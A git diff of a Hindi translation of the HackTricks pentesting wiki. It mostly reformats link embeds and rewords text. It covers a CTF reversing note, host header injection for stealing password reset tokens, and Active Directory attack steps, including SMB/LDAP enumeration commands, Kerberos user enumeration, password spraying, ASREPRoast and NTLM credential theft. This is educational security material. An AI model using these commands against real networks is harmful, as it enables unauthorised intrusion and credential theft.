@ -370,9 +372,9 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
- सबसे पहले, इसे **मान 4** (**SELECT** बटन) के साथ तुलना की जाती है: इस चुनौती में यह बटन स्क्रीन को साफ करता है।
- फिर, इसे **मान 8** (**START** बटन) के साथ तुलना की जाती है: इस चुनौती में यह जांचता है कि क्या कोड फ्लैग प्राप्त करने के लिए मान्य है।
- इस मामले में var **`DAT_030000d8`** की तुलना 0xf3 से की जाती है और यदि मान समान है तो कुछ कोड निष्पादित होता है।
- इस मामले में, var **`DAT_030000d8`** को 0xf3 के साथ तुलना की जाती है और यदि मान समान है तो कुछ कोड निष्पादित होता है।
- किसी अन्य मामलों में, कुछ cont (`DAT_030000d4`) की जांच की जाती है। यह एक cont है क्योंकि यह कोड में प्रवेश करने के तुरंत बाद 1 जोड़ रहा है।\
**यदि** 8 से कम है तो कुछ ऐसा किया जाता है जो **मानों को जोड़ने** से संबंधित है \*\*`DAT_030000d8` \*\* (बुनियादी रूप से यह इस चर में दबाए गए कुंजियों के मानों को जोड़ रहा है जब तक कि cont 8 से कम है)।
**यदि** 8 से कम है तो कुछ ऐसा किया जाता है जो **`DAT_030000d8`** में मान जोड़ने से संबंधित है (बुनियादी रूप से यह इस चर में दबाए गए कुंजियों के मानों को जोड़ रहा है जब तक कि cont 8 से कम है)।
तो, इस चुनौती में, बटन के मानों को जानकर, आपको **8 से छोटे लंबाई का एक संयोजन दबाना था जिसका परिणाम जोड़ 0xf3 है।**
@ -380,7 +382,9 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
## गेम बॉय
{% embed url="https://www.youtube.com/watch?v=VVbRe7wr3G4" %}
{{#ref}}
https://www.youtube.com/watch?v=VVbRe7wr3G4
{{#endref}}
## पाठ्यक्रम

4
src/robots.txt Normal file
View File

@ -0,0 +1,4 @@
Sitemap: https://www.hacktricks.wiki/sitemap.xml
User-agent: *
Disallow:

View File

@ -48,7 +48,9 @@ Take it to the top
Whisper my world
```
{% embed url="https://codewithrockstar.com/" %}
{{#ref}}
https://codewithrockstar.com/
{{#endref}}
## PETOOH
```

View File

@ -4,13 +4,15 @@
- **सरल सूची:** बस एक सूची जिसमें प्रत्येक पंक्ति में एक प्रविष्टि होती है
- **रनटाइम फ़ाइल:** एक सूची जो रनटाइम में पढ़ी जाती है (यादाश्त में लोड नहीं होती)। बड़े सूचियों का समर्थन करने के लिए।
- **केस संशोधन:** स्ट्रिंग्स की एक सूची में कुछ परिवर्तन लागू करें (कोई परिवर्तन नहीं, लोअर, अपर, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी को लोअर-, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी वही रहे-)
- **संख्याएँ:** Z स्टेप का उपयोग करके या यादृच्छिक रूप से X से Y तक संख्याएँ उत्पन्न करें।
- **केस संशोधन:** स्ट्रिंग्स की एक सूची में कुछ परिवर्तन लागू करें (कोई परिवर्तन नहीं, लोअर में, अपर में, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी को लोअर में-, प्रॉपर नाम - पहले अक्षर को बड़ा और बाकी वही रहता है-
- **संख्याएँ:** X से Y तक Z स्टेप का उपयोग करके या यादृच्छिक रूप से संख्याएँ उत्पन्न करें।
- **ब्रूट फोर्सर:** कैरेक्टर सेट, न्यूनतम और अधिकतम लंबाई।
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : कमांड निष्पादित करने और burpcollab के माध्यम से DNS अनुरोधों के माध्यम से आउटपुट प्राप्त करने के लिए पेलोड।
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
{{#ref}}
https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e
{{#endref}}
[https://github.com/h3xstream/http-script-generator](https://github.com/h3xstream/http-script-generator)

View File

@ -4,10 +4,10 @@
### होस्ट हेडर
कई बार बैक-एंड **होस्ट हेडर** पर कुछ क्रियाएँ करने के लिए भरोसा करता है। उदाहरण के लिए, यह इसके मान का उपयोग **पासवर्ड रीसेट भेजने के लिए डोमेन** के रूप में कर सकता है। इसलिए जब आपको अपने पासवर्ड को रीसेट करने के लिए लिंक के साथ एक ईमेल प्राप्त होता है, तो उपयोग किया जाने वाला डोमेन वही होता है जो आपने होस्ट हेडर में डाला है। फिर, आप अन्य उपयोगकर्ताओं के पासवर्ड रीसेट का अनुरोध कर सकते हैं और डोमेन को अपने द्वारा नियंत्रित एक में बदल सकते हैं ताकि उनके पासवर्ड रीसेट कोड चुरा सकें। [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
कई बार बैक-एंड **होस्ट हेडर** पर कुछ क्रियाएँ करने के लिए भरोसा करता है। उदाहरण के लिए, यह इसके मान का उपयोग **पासवर्ड रीसेट भेजने के लिए डोमेन** के रूप में कर सकता है। इसलिए जब आपको अपने पासवर्ड को रीसेट करने के लिए लिंक के साथ एक ईमेल प्राप्त होता है, तो उपयोग किया जाने वाला डोमेन वही होता है जो आपने होस्ट हेडर में डाला है। फिर, आप अन्य उपयोगकर्ताओं के पासवर्ड रीसेट का अनुरोध कर सकते हैं और डोमेन को अपने द्वारा नियंत्रित एक में बदल सकते हैं ताकि आप उनके पासवर्ड रीसेट कोड चुरा सकें। [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
> [!WARNING]
> ध्यान दें कि यह संभव है कि आपको टोकन प्राप्त करने के लिए उपयोगकर्ता के पासवर्ड रीसेट लिंक पर क्लिक करने का इंतजार करने की आवश्यकता नहीं है, क्योंकि शायद **स्पैम फ़िल्टर या अन्य मध्यवर्ती उपकरण/बॉट इसे विश्लेषण करने के लिए क्लिक करेंगे**
> ध्यान दें कि यह संभव है कि आपको टोकन प्राप्त करने के लिए उपयोगकर्ता के पासवर्ड रीसेट लिंक पर क्लिक करने का इंतजार भी नहीं करना पड़े, क्योंकि शायद **स्पैम फ़िल्टर या अन्य मध्यवर्ती उपकरण/बॉट इसे विश्लेषण करने के लिए क्लिक करेंगे**
### सत्र बूलियन
@ -22,13 +22,15 @@
एक ईमेल पंजीकृत करें, इसे पुष्टि करने से पहले ईमेल बदलें, फिर, यदि नया पुष्टि ईमेल पहले पंजीकृत ईमेल पर भेजा जाता है, तो आप किसी भी ईमेल का अधिग्रहण कर सकते हैं। या यदि आप पहले वाले को पुष्टि करने के लिए दूसरे ईमेल को सक्षम कर सकते हैं, तो आप किसी भी खाते का भी अधिग्रहण कर सकते हैं।
### कंपनियों के आंतरिक सर्विसडेस्क तक पहुँचें जो एटलसियन का उपयोग कर रही हैं
### कंपनियों के आंतरिक सर्विसडेस्क तक पहुँचें जो एटलसियन का उपयोग करी हैं
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### TRACE विधि
डेवलपर्स उत्पादन वातावरण में विभिन्न डिबगिंग विकल्पों को बंद करना भूल सकते हैं। उदाहरण के लिए, HTTP `TRACE` विधि का उपयोग निदान उद्देश्यों के लिए किया जाता है। यदि सक्षम है, तो वेब सर्वर `TRACE` विधि का उपयोग करने वाले अनुरोधों का उत्तर देगा, जो प्राप्त अनुरोध को प्रतिक्रिया में प्रतिध्वनित करेगा। यह व्यवहार अक्सर हानिरहित होता है, लेकिन कभी-कभी जानकारी के खुलासे की ओर ले जाता है, जैसे कि आंतरिक प्रमाणीकरण हेडर का नाम जो रिवर्स प्रॉक्सी द्वारा अनुरोधों में जोड़ा जा सकता है।![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
डेवलपर्स उत्पादन वातावरण में विभिन्न डिबगिंग विकल्पों को बंद करना भूल सकते हैं। उदाहरण के लिए, HTTP `TRACE` विधि का उपयोग निदान उद्देश्यों के लिए किया जाता है। यदि सक्षम है, तो वेब सर्वर `TRACE` विधि का उपयोग करने वाले अनुरोधों का उत्तर देगा, जो प्राप्त अनुरोध को प्रतिक्रिया में प्रतिध्वनित करेगा। यह व्यवहार अक्सर हानिरहित होता है, लेकिन कभी-कभी जानकारी के खुलासे का कारण बनता है, जैसे कि आंतरिक प्रमाणीकरण हेडर का नाम जो रिवर्स प्रॉक्सी द्वारा अनुरोधों में जोड़ा जा सकता है।![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)

View File

@ -1,49 +1,95 @@
{{#include ../banners/hacktricks-training.md}}
{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{% embed url="https://anhtai.me/pentesting-cheatsheet/" %}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{% embed url="https://anhtai.me/oscp-fun-guide/" %}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{% embed url="https://www.thehacker.recipes/" %}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{% embed url="https://gtfobins.github.io/" %}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{% embed url="https://hideandsec.sh/" %}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{% embed url="https://cheatsheet.haax.fr/" %}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{% embed url="https://infosecwriteups.com/" %}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{% embed url="https://www.exploit-db.com/" %}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{% embed url="https://wadcoms.github.io/" %}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{% embed url="https://lolbas-project.github.io" %}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{% embed url="https://pentestbook.six2dez.com/" %}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{% embed url="https://www.hackingarticles.in/" %}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{% embed url="https://pentestlab.blog/" %}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{% embed url="https://ippsec.rocks/" %}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -6,26 +6,26 @@
**Active Directory** एक बुनियादी तकनीक के रूप में कार्य करता है, जो **नेटवर्क प्रशासकों** को **डोमेन**, **उपयोगकर्ताओं**, और **ऑब्जेक्ट्स** को प्रभावी ढंग से बनाने और प्रबंधित करने में सक्षम बनाता है। इसे स्केल करने के लिए डिज़ाइन किया गया है, जो एक विस्तृत संख्या में उपयोगकर्ताओं को प्रबंधनीय **समूहों** और **उपसमूहों** में व्यवस्थित करने की सुविधा प्रदान करता है, जबकि विभिन्न स्तरों पर **एक्सेस अधिकारों** को नियंत्रित करता है।
**Active Directory** की संरचना तीन प्राथमिक परतों में विभाजित है: **डोमेन**, **पेड़**, और **जंगल**। एक **डोमेन** ऑब्जेक्ट्स का एक संग्रह है, जैसे **उपयोगकर्ता** या **डिवाइस**, जो एक सामान्य डेटाबेस साझा करते हैं। **पेड़** इन डोमेन के समूह होते हैं जो एक साझा संरचना द्वारा जुड़े होते हैं, और एक **जंगल** कई पेड़ों का संग्रह है, जो **विश्वास संबंधों** के माध्यम से आपस में जुड़े होते हैं, जो संगठनात्मक संरचना की सबसे ऊपरी परत बनाते हैं। प्रत्येक स्तर पर विशिष्ट **एक्सेस** और **संवाद अधिकार** निर्धारित किए जा सकते हैं।
**Active Directory** की संरचना तीन प्राथमिक परतों में विभाजित है: **डोमेन**, **पेड़**, और **जंगल**। एक **डोमेन** ऑब्जेक्ट्स का एक संग्रह है, जैसे **उपयोगकर्ता** या **डिवाइस**, जो एक सामान्य डेटाबेस साझा करते हैं। **पेड़** इन डोमेन के समूह होते हैं जो एक साझा संरचना द्वारा जुड़े होते हैं, और एक **जंगल** कई पेड़ों का संग्रह है, जो **विश्वास संबंधों** के माध्यम से आपस में जुड़े होते हैं, जो संगठनात्मक संरचना की सबसे ऊपरी परत बनाते हैं। इन स्तरों में विशिष्ट **एक्सेस** और **संवाद अधिकार** निर्धारित किए जा सकते हैं।
**Active Directory** के भीतर प्रमुख अवधारणाएँ शामिल हैं:
1. **Directory** Active Directory ऑब्जेक्ट्स से संबंधित सभी जानकारी को रखता है।
2. **Object** निर्देशिका के भीतर की संस्थाएँ, जैसे **उपयोगकर्ता**, **समूह**, या **साझा फ़ोल्डर** को दर्शाता है।
3. **Domain** निर्देशिका ऑब्जेक्ट्स के लिए एक कंटेनर के रूप में कार्य करता है, जिसमें कई डोमेन एक **जंगल** के भीतर सह-अस्तित्व में ह सकते हैं, प्रत्येक अपनी स्वयं की ऑब्जेक्ट संग्रह बनाए रखता है।
3. **Domain** निर्देशिका ऑब्जेक्ट्स के लिए एक कंटेनर के रूप में कार्य करता है, जिसमें कई डोमेन एक **जंगल** के भीतर सह-अस्तित्व में ह सकते हैं, प्रत्येक अपनी स्वयं की ऑब्जेक्ट संग्रह बनाए रखता है।
4. **Tree** डोमेन का एक समूह जो एक सामान्य रूट डोमेन साझा करता है।
5. **Forest** Active Directory में संगठनात्मक संरचना का शिखर, जिसमें कई पेड़ होते हैं जिनमें **विश्वास संबंध** होते हैं।
**Active Directory Domain Services (AD DS)** एक श्रृंखला की सेवाओं को शामिल करता है जो नेटवर्क के भीतर केंद्रीकृत प्रबंधन और संचार के लिए महत्वपूर्ण हैं। इन सेवाओं में शामिल हैं:
1. **Domain Services** डेटा भंडारण को केंद्रीकृत करता है और **उपयोगकर्ताओं** और **डोमेन** के बीच इंटरैक्शन का प्रबंधन करता है, जिसमें **प्रमाणीकरण** और **खोज** कार्यक्षमताएँ शामिल हैं।
1. **Domain Services** डेटा भंडारण को केंद्रीकृत करता है और **उपयोगकर्ताओं** और **डोमेन** के बीच इंटरैक्शन को प्रबंधित करता है, जिसमें **प्रमाणीकरण** और **खोज** कार्यक्षमताएँ शामिल हैं।
2. **Certificate Services** सुरक्षित **डिजिटल प्रमाणपत्रों** के निर्माण, वितरण, और प्रबंधन की देखरेख करता है।
3. **Lightweight Directory Services** **LDAP प्रोटोकॉल** के माध्यम से निर्देशिका-सक्षम अनुप्रयोगों का समर्थन करता है।
4. **Directory Federation Services** एकल सत्र में कई वेब अनुप्रयोगों में उपयोगकर्ताओं को प्रमाणित करने के लिए **सिंगल-साइन-ऑन** क्षमताएँ प्रदान करता है।
5. **Rights Management** कॉपीराइट सामग्री की सुरक्षा में मदद करता है, इसके अनधिकृत वितरण और उपयोग को नियंत्रित करता है।
6. **DNS Service** **डोमेन नामों** के समाधान के लिए महत्वपूर्ण है।
एक अधिक विस्तृत व्याख्या के लिए देखें: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
अधिक विस्तृत स्पष्टीकरण के लिए देखें: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
### **Kerberos Authentication**
@ -34,50 +34,50 @@ AD पर **हमला करने** के लिए आपको **Kerberos
## Cheat Sheet
आप [https://wadcoms.github.io/](https://wadcoms.github.io) पर जाकर AD को सूचीबद्ध/शोषण करने के लिए आप कौन से कमांड चला सकते हैं, इसका त्वरित अवलोकन प्राप्त कर सकते हैं।
आप [https://wadcoms.github.io/](https://wadcoms.github.io) पर जाकर यह देख सकते हैं कि आप AD को सूचीबद्ध/शोषण करने के लिए कौन से कमांड चला सकते हैं।
## Recon Active Directory (No creds/sessions)
यदि आपके पास केवल AD वातावरण तक पहुंच है लेकिन आपके पास कोई क्रेडेंशियल/सत्र नहीं हैं, तो आप कर सकते हैं:
- **नेटवर्क का परीक्षण करें:**
- नेटवर्क को स्कैन करें, मशीनों और खुले पोर्टों को खोजें और उनसे **कमजोरियों का शोषण** करने या **क्रेडेंशियल्स निकालने** का प्रयास करें (उदाहरण के लिए, [प्रिंटर बहुत दिलचस्प लक्ष्य हो सकते हैं](ad-information-in-printers.md)।
- DNS को सूचीबद्ध करने से डोमेन में प्रमुख सर्वरों के बारे में जानकारी मिल सकती है जैसे कि वेब, प्रिंटर, शेयर, वीपीएन, मीडिया, आदि।
- नेटवर्क को स्कैन करें, मशीनें और खुले पोर्ट खोजें और उन पर **कमजोरियों का शोषण** करने या **क्रेडेंशियल्स** निकालने का प्रयास करें (उदाहरण के लिए, [प्रिंटर बहुत दिलचस्प लक्ष्य हो सकते हैं](ad-information-in-printers.md)।
- DNS की सूचीबद्धता महत्वपूर्ण सर्वरों के बारे में जानकारी दे सकती है जैसे वेब, प्रिंटर, शेयर, वीपीएन, मीडिया, आदि।
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- इस पर अधिक जानकारी के लिए सामान्य [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) पर एक नज़र डालें।
- इस पर अधिक जानकारी के लिए सामान्य [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) देखें।
- **smb सेवाओं पर शून्य और गेस्ट एक्सेस की जांच करें** (यह आधुनिक Windows संस्करणों पर काम नहीं करेगा):
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- SMB सर्वर को सूचीबद्ध करने के लिए एक अधिक विस्तृत गाइड यहाँ मिल सकती है:
- SMB सर्वर की सूचीबद्धता के लिए एक अधिक विस्तृत गाइड यहाँ मिल सकती है:
{{#ref}}
../../network-services-pentesting/pentesting-smb/
{{#endref}}
- **Ldap को सूचीबद्ध करें**
- **Ldap की सूचीबद्धता करें**
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- LDAP को सूचीबद्ध करने के लिए एक अधिक विस्तृत गाइड यहाँ मिल सकती है (विशेष रूप से **गुमनाम एक्सेस** पर ध्यान दें):
- LDAP की सूचीबद्धता के लिए एक अधिक विस्तृत गाइड यहाँ मिल सकती है (विशेष रूप से **गुमनाम एक्सेस** पर ध्यान दें):
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
{{#endref}}
- **नेटवर्क को विषाक्त करें**
- [**Responder के साथ सेवाओं का अनुकरण करके क्रेडेंशियल्स इकट्ठा करें**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [**रिले हमले का दुरुपयोग करके होस्ट तक पहुँचें**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- [**खराब UPnP सेवाओं को उजागर करके क्रेडेंशियल्स इकट्ठा करें**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**Responder के साथ सेवाओं का अनुकरण करते हुए क्रेडेंशियल्स इकट्ठा करें**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [**रिले हमले का दुरुपयोग करते हुए होस्ट तक पहुँचें**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- [**खराब UPnP सेवाओं को उजागर करते हुए क्रेडेंशियल्स इकट्ठा करें**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
- आंतरिक दस्तावेजों, सोशल मीडिया, सेवाओं (मुख्य रूप से वेब) से उपयोगकर्ता नाम/नाम निकालें जो डोमेन वातावरण के भीतर हैं और सार्वजनिक रूप से उपलब्ध हैं।
- यदि आप कंपनी के कर्मचारियों के पूर्ण नाम पाते हैं, तो आप विभिन्न AD **उपयोगकर्ता नाम सम्मेलनों** का प्रयास कर सकते हैं ([**यह पढ़ें**](https://activedirectorypro.com/active-directory-user-naming-convention/)). सबसे सामान्य सम्मेलन हैं: _NameSurname_, _Name.Surname_, _NamSur_ (प्रत्येक के 3 अक्षर), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _यादृच्छिक अक्षर और 3 यादृच्छिक संख्या_ (abc123)।
- आंतरिक दस्तावेजों, सोशल मीडिया, सेवाओं (मुख्य रूप से वेब) से उपयोगकर्ता नाम/नाम निकालें जो डोमेन वातावरण के भीतर और सार्वजनिक रूप से उपलब्ध हैं।
- यदि आप कंपनी के कर्मचारियों के पूर्ण नाम पाते हैं, तो आप विभिन्न AD **उपयोगकर्ता नाम सम्मेलनों** का प्रयास कर सकते हैं (**[यह पढ़ें](https://activedirectorypro.com/active-directory-user-naming-convention/)**)। सबसे सामान्य सम्मेलन हैं: _NameSurname_, _Name.Surname_, _NamSur_ (प्रत्येक के 3 अक्षर), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _यादृच्छिक अक्षर और 3 यादृच्छिक संख्या_ (abc123)।
- उपकरण:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
### User enumeration
- **गुमनाम SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) और [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) पृष्ठों की जांच करें।
- **Kerbrute enum**: जब एक **अमान्य उपयोगकर्ता नाम अनुरोध किया जाता है** तो सर्वर **Kerberos त्रुटि** कोड _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ का उपयोग करके प्रतिक्रिया देगा, जिससे हमें यह निर्धारित करने की अनुमति मिलती है कि उपयोगकर्ता नाम अमान्य था। **मान्य उपयोगकर्ता नाम** एक AS-REP प्रतिक्रिया में **TGT** या त्रुटि _KRB5KDC_ERR_PREAUTH_REQUIRED_ को उत्तेजित करेगा, जो इंगित करता है कि उपयोगकर्ता को पूर्व-प्रमाणीकरण करने की आवश्यकता है।
- **Anonymous SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/) और [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) पृष्ठों की जांच करें।
- **Kerbrute enum**: जब एक **अमान्य उपयोगकर्ता नाम अनुरोध किया जाता है** तो सर्वर **Kerberos त्रुटि** कोड _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ का उपयोग करके प्रतिक्रिया देगा, जिससे हमें यह निर्धारित करने की अनुमति मिलती है कि उपयोगकर्ता नाम अमान्य था। **मान्य उपयोगकर्ता नाम** एक AS-REP प्रतिक्रिया में **TGT** या त्रुटि _KRB5KDC_ERR_PREAUTH_REQUIRED_ को उत्तेजित करेगा, जो इंगित करता है कि उपयोगकर्ता को पूर्व-प्रमाणीकरण करना आवश्यक है।
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -105,15 +105,15 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
> [!WARNING]
> आप [**इस github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) \*\*\*\* और इस ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) में उपयोगकर्ता नामों की सूचियाँ पा सकते हैं।
>
> हालाँकि, आपके पास **कंपनी में काम करने वाले लोगों के नाम** होने चाहिए जो आप पहले के पुनः खोज चरण से प्राप्त कर चुके हैं। नाम और उपनाम के साथ, आप संभावित मान्य उपयोगकर्ता नाम उत्पन्न करने के लिए [**namemash.py**](https://gist.github.com/superkojiman/11076951) स्क्रिप्ट का उपयोग कर सकते हैं।
> हालाँकि, आपके पास **कंपनी में काम करने वाले लोगों के नाम** होने चाहिए जो आप पहले के पुनः खोज चरण से प्राप्त कर चुके हैं। नाम और उपनाम के साथ आप [**namemash.py**](https://gist.github.com/superkojiman/11076951) स्क्रिप्ट का उपयोग करके संभावित मान्य उपयोगकर्ता नाम उत्पन्न कर सकते हैं।
### एक या एक से अधिक उपयोगकर्ता नाम जानना
ठीक है, तो आप जानते हैं कि आपके पास पहले से ही एक मान्य उपयोगकर्ता नाम है लेकिन कोई पासवर्ड नहीं है... फिर कोशिश करें:
- [**ASREPRoast**](asreproast.md): यदि किसी उपयोगकर्ता के पास _DONT_REQ_PREAUTH_ विशेषता **नहीं है**, तो आप उस उपयोगकर्ता के लिए **AS_REP संदेश** का **अनुरोध** कर सकते हैं जिसमें उपयोगकर्ता के पासवर्ड के एक व्युत्पत्ति द्वारा एन्क्रिप्टेड कुछ डेटा होगा।
- [**ASREPRoast**](asreproast.md): यदि किसी उपयोगकर्ता के पास _DONT_REQ_PREAUTH_ विशेषता **नहीं है** तो आप उस उपयोगकर्ता के लिए **AS_REP संदेश** का **अनुरोध** कर सकते हैं जिसमें उपयोगकर्ता के पासवर्ड के एक व्युत्पन्न द्वारा एन्क्रिप्टेड कुछ डेटा होगा।
- [**Password Spraying**](password-spraying.md): चलो प्रत्येक खोजे गए उपयोगकर्ताओं के साथ सबसे **सामान्य पासवर्ड** आजमाते हैं, शायद कुछ उपयोगकर्ता एक खराब पासवर्ड का उपयोग कर रहा है (पासवर्ड नीति को ध्यान में रखें!)।
- ध्यान दें कि आप **OWA सर्वरों को भी स्प्रे** कर सकते हैं ताकि उपयोगकर्ताओं के मेल सर्वरों तक पहुँच प्राप्त कर सकें।
- ध्यान दें कि आप **OWA सर्वरों को भी स्प्रे कर सकते हैं** ताकि उपयोगकर्ताओं के मेल सर्वरों तक पहुँच प्राप्त कर सकें।
{{#ref}}
password-spraying.md
@ -129,17 +129,17 @@ password-spraying.md
### NTML रिले
यदि आप सक्रिय निर्देशिका को सूचीबद्ध करने में सफल रहे हैं, तो आपके पास **अधिक ईमेल और नेटवर्क की बेहतर समझ** होगी। आप NTML [**रिले हमलों**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* को मजबूर करने में सक्षम हो सकते हैं ताकि AD वातावरण तक पहुँच प्राप्त कर सकें।
यदि आप सक्रिय निर्देशिका को सूचीबद्ध करने में सफल रहे हैं तो आपके पास **अधिक ईमेल और नेटवर्क की बेहतर समझ** होगी। आप NTML [**रिले हमलों**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* को मजबूर करने में सक्षम हो सकते हैं ताकि AD वातावरण तक पहुँच प्राप्त कर सकें।
### NTLM क्रेडेंशियल चुराना
### NTLM क्रेड्स चुराना
यदि आप **अन्य PCs या शेयरों** तक **नल या अतिथि उपयोगकर्ता** के साथ **पहुँच** कर सकते हैं, तो आप **फाइलें** (जैसे SCF फ़ाइल) रख सकते हैं जो यदि किसी तरह से पहुँची जाती हैं तो **आपके खिलाफ NTML प्रमाणीकरण को ट्रिगर करेंगी** ताकि आप **NTLM चुनौती** चुरा सकें:
यदि आप **अन्य PCs या शेयरों** तक **नल या अतिथि उपयोगकर्ता** के साथ **पहुँच** कर सकते हैं तो आप **फाइलें** (जैसे SCF फ़ाइल) रख सकते हैं जो यदि किसी तरह से पहुँची जाती हैं तो **आपके खिलाफ NTML प्रमाणीकरण को ट्रिगर करेंगी** ताकि आप **NTLM चुनौती** चुरा सकें:
{{#ref}}
../ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## क्रेडेंशियल्स/सत्र के साथ सक्रिय निर्देशिका की सूची बनाना
## क्रेडेंशियल्स/सेशन के साथ सक्रिय निर्देशिका की सूची बनाना
